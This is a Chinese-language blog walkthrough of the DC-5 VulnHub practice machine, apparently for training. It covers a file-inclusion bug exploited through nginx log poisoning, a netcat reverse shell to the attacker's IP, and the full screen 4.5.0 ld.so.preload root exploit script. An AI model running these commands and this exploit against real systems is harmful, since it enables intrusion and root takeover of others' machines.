DC-5 vulnhub靶机实战

首先是使用virtualbox安装,这里不推荐vmware,会出很多问题。

nmap扫一下子网,看靶机的ip地址:
在这里插入图片描述
发现ip是192.168.240.137,开放了80和111端口。
在这里插入图片描述
给了提示是个文件包含漏洞,发现在thinkyou.php里面存在,验证一下。
在这里插入图片描述
可以读到/etc/passwd文件。
接下来就可以利用nginx的日志记录功能,将一句话写入到access.log里面,然后用thankyou.php?file=*来执行php语句。

在这里插入图片描述
接下来利用nc反弹shell
kali上监听:nc -nlvp 1234
浏览器访问:http://192.168.240.137/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -e /bin/bash 192.168.240.175 1234

可以看的已经弹回了一个shell.
在这里插入图片描述
接下来进行提权:
find / -perm -u=s -type f 2>/dev/null
看看这个用户有什么root权限命令
在这里插入图片描述
看到一个奇怪的screen,搜搜有什么漏洞。
在这里插入图片描述
我们用第一个41154.sh.

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...

在这里插入图片描述
按步骤在kali上编译好libhax.so和rootshell,用wget上传到靶机上,执行

cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...

这时候执行/tmp/rootshell可以获得一个root shell.
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值